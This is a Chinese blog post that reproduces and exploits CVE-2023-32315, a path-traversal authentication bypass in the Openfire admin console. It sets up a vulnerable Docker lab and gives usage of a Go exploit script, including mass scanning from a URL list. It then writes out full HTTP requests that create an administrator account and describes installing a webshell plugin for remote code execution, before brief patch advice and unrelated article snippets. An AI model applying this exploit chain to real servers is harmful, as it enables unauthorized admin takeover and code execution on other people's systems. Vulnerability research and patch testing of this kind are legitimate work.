Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)

news2024/9/21 2:43:10

0x01 产品简介

      Openfire是免费的、开源的、基于可拓展通讯和表示协议(XMPP)、采用Java编程语言开发的实时协作服务器。Openfire安装和使用都非常简单,并利用Web进行管理。单台服务器甚至可支持上万并发用户。

0x02 漏洞概述

      Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果。   

0x03 影响范围

    3.10.0 <= Openfire < 4.6.8

    4.7.0 <= Openfire 4.7.x < 4.7.5

0x04 复现环境

    docker搭建Openfire 4.7.4漏洞环境

  拉取镜像

docker pull nasqueron/openfire:4.7.4

 启动环境

docker run --name openfire -d --restart=always \
  --publish 9090:9090 --publish 5222:5222 --publish 7777:7777 \
  --volume /srv/docker/openfire:/var/lib/openfire \
  nasqueron/openfire:4.7.4

访问环境,需要安装,一直下一步即可 

 安装完毕

0x05 漏洞复现

 Exp脚本:https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass

使用方法:Get项目到有go环境的主机(go版本1.20以上)

cd CVE-2023-32315-Openfire-Bypass/scan_all    
go mod tidy                                #编译脚本获取依懒

单url利用姿势

go run main.go -u http://openfire.com:9090

多url利用姿势

go run main.go -l url.txt -t 20

效果(可直接创建用户名密码)

手动复现

/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

出现这种情况,证明漏洞存在

获取JSESSIONID和csrftoken

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

 使用获取到JSESSIONID和csrftoken创建用户

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=I5Mh5Zl1DK2qBGT&username=test123&name=&email=&password=test123&passwordConfirm=test123&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=node01q1zp5igpjjwd1fd25m8atvtmz12.node0; csrf=I5Mh5Zl1DK2qBGT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

 尝试登录

 0x06 漏洞利用

上传openfire shell命令行插件

  插件地址:

https://download.csdn.net/download/qq_41904294/87912035

密码"123"点击登录

得到webshell 

 0x06 修复建议

升级版本至4.6.8或4.7.5及以上

https://github.com/igniterealtime/Openfire/releases

限制网络访问,切勿将 Openfire 管理控制台暴露于互联网,使用网络安全措施,确保只有受信任成员才能访问。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/659948.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

自然语言处理从入门到应用——动态词向量预训练:ELMo词向量

分类目录&#xff1a;《自然语言处理从入门到应用》总目录 在双向语言模型预训练完成后&#xff0c;模型的编码部分&#xff08;包括输入表示层以及多层堆叠LSTM&#xff09;便可以用来计算任意文本的动态词向量表示。最自然的做法是使用两个LSTM的最后一层隐含层输出作为词的动…

Qt项目网络聊天室设计

效果演示 网络聊天室 Qt网络聊天室服务端 网络聊天室程序 基于TCP的可靠连接(QTcpServer、QTcpSocket) 一个服务器&#xff0c;多个客户端 3. 服务器接收到某个客户端的请求以及发送信息&#xff0c;经服务器发给其它客户端 最终实现一个共享聊天内容的聊天室&#xff01; …

大数据治理.数据采集/归集技术

第一部分 阿里巴巴DATAx DataX 是阿里开源的一个异构数据源离线同步工具&#xff0c;致力于实现包括关系型数据库(MySQL、Oracle等)、HDFS、Hive、ODPS、HBase、FTP等各种异构数据源之间稳定高效的数据同步功能。 DataX设计理念 DataX本身作为数据同步框架&#xff0c;将不同…

分布式系统消息通信技术:MOM与RPC

一、中间件 什么是中间件 中间件&#xff08;Middleware&#xff09;是处于操作系统和应用程序之间的软件&#xff0c;也有人认为它应该属于操作系统中的一部分。人们在使用中间件时&#xff0c;往往是一组中间件集成在一起&#xff0c;构成一个平台&#xff08;包括开发平台…

springboot配置 spring.profiles.active spring.profiles.include @profile

springboot配置 spring.profiles.active spring.profiles.include profile spring.profiles.active spring.profiles.include profile的命名方式 以 application-开头, --横杠(减号)不能少 application-{这部分自定义}.propertiesapplication-{这部分自定义}.ymlapplicatio…

c++多态详解

前言&#xff1a; 对于面向对象语言来说&#xff0c;多态是面向对象的三大特性之一&#xff0c;简单一点来说多态就是多种形态&#xff0c;是不同对象接收到同一种消息产生的不同动作或者反应&#xff0c;听起来有点抽象&#xff0c;实际上就是完成一个任务让不同的对象来做产生…

合宙Air724UG Cat.1模块硬件设计指南--模拟语音通道

模拟语音通道 简介 模拟音频技术是由传感器采集得到的连续变化的值&#xff0c;根据其电压的幅度用来展示声音强弱。CAT.1内置3种音频输出模式&#xff0c;分别为扬声器(SPK)输出&#xff0c;耳机(HP)输出和听筒(RECEIVER)输出。 特性 SPK接口 SPK-、SPK。Speaker差分信号接口…

记压测环境数据表死锁导致接口长时间pending问题

背景 压测过程中测试小伙伴反映某个页面长时间loading无法打开&#xff0c;接下来我们排查一下&#xff0c;既然是压测环境&#xff0c;那么就需要排除服务器资源层面的因素&#xff0c;现在考验的就是在系统资源不足时系统的情况&#xff0c;那么我们就直接从代码层面开始排查…

PADS-LAYOUT菜单及工具说明

目录 1 材料清单输出 2 元件属性检查 3 材料清单制作 4 原理图生成PDF 4.1PDF文件生成 4.2PDF文件查阅 4.3PDF文件打印 5 PADS转Altium Designer 5 Altium Designer转PADS 5.1 直接导入法 5.2 软件生成法 6 PADS层定义 7 设计规则输出 7.1 PADS对象管理 7.2 PAD…

pandas---分箱(离散化处理)、绘图、交叉表和透视表

1. 分箱 分箱操作就是将连续型数据离散化。分箱操作分为等距分箱和等频分箱. 1.1 等宽分箱 pandas.cut(x, bins, rightTrue, labelsNone, retbinsFalse, precision3, include_lowestFalse, duplicatesraise, orderedTrue) x&#xff1a;要分箱的一维数组或者 Series。 bi…

分布式系统概念和设计——分布式共享内存

分布式系统概念和设计 分布式共享内存 分布式共享内存是在不共享物理内存的计算机之间实现数据的共享的一个抽象。 有一个底层运行的系统保证其透明性&#xff0c;但是进程还是根据内存的分布处理物理内存的分布式能力 DMS最关键点&#xff1a; 不需要关心数据的通信&#xff…

百家号热议排名代发

百家号热议排名代发&#xff0c;百度排名怎么做&#xff0c;有什么技巧或者方式方法吗#百度首页关键词排名#百度推广#百度竞价推广#百度关键词排名#百度首页关键词排名方法# 其实百度推广并不赚钱&#xff0c;也没有你想象中的那么好做。 我说三点&#xff0c; 99% 的用户都遇…

C语言之动态内存分配讲解(2)

动态内存函数的介绍 在开始本章节之前&#xff0c;我们来复习一下动态内存分配&#xff08;1&#xff09;中所讲到的知识&#xff0c;看下面目录一和目录二 为什么存在动态内存分配 我们已经掌握的内存开辟方式有 int val 20;//在栈空间上开辟四个字节 char arr[10] {0};/…

Go语言并发之扇入和扇出

1、Go语言并发之扇入和扇出 编程中经常遇到扇入和扇出两个概念&#xff0c;所谓的扇入是指将多路通道聚合到一条通道中处理&#xff0c;Go 语言最简单的扇入 就是使用 select 聚合多条通道服务&#xff1b;所谓的扇出是指将一条通道发散到多条通道中处理&#xff0c;在Go语言…

揭开视频识别(动作识别)的神秘面纱(附代码和demo)!

PaddleDetection 在计算机视觉中&#xff0c;视频识别和检测是一个重要的方向。历年来CVPR和ICCV等顶会文章中这类论文是最多的。视频识别和检测也是最有落地场景前景的&#xff0c;像人脸识别、动作检测、异常检测、行人重识别、行人计数等都是很有落地前景的应用方向。本文介…

shardingsphere第三课各种功能点及核心源码

一、功能点 1.审计功能 分片审计功能是针对数据库分片场景下对执行的 SQL 语句进行审计操作。分片审计既可以进行拦截操作&#xff0c;拦截系统配置的非法 SQL 语句&#xff0c;也可以是对 SQL 语句进行统计操作。 目前ShardingSphere内置的分片审计算法只有一个&#xff0c;…

C语言指针初进阶知识汇总

目录 1 指针 1.1 指针是乜嘢 1.2 指针的声明 1.3 运算符 1.4 简单的小例子们 1.5 指针的运算 1.5.1 指针加减运算 1.5.2 间址运算 1.5.3 指针的相减 两个地址之间的偏移量 2 指针与数组 2.1 指针和一维数组 2.1.1 定义数组及指针变量 2.1.2 能动手就不要瞎扯 2.…

当 Rokid 遇上函数计算

作者&#xff1a;王彬&#xff08;阿里云解决方案架构师&#xff09;、姚兰天&#xff08;Rokid 技术专家&#xff09;、聂大鹏&#xff08;阿里云高级技术专家 &#xff09; 公司背景和业务 Rokid 创立于2014年&#xff0c;是一家专注于人机交互技术的产品平台公司。Rokid 通…

2023/6/18周报

目录 摘要 论文阅读 1、题目和现有问题 2、工作流程 3、图神经网络模块 4、注意力网络 5、实验结果和分析 深度学习 1、GNN和GRU的融合 2、相关公式推导 总结 摘要 本周在论文阅读上&#xff0c;对基于图神经网络和改进自注意网络的会话推荐的论文进行了学习&#…

DPdisPCA算法原理笔记

概要 本文简单理顺《Differentially Private Distributed Principal Component Analysis》论文中的算法原理&#xff0c;它主要提出了一种基于差分隐私的分布式PCA算法&#xff0c;研究了该算法在实验数据以及真实数据中的表现&#xff0c;在参数相同的情况下本算法取得了和没…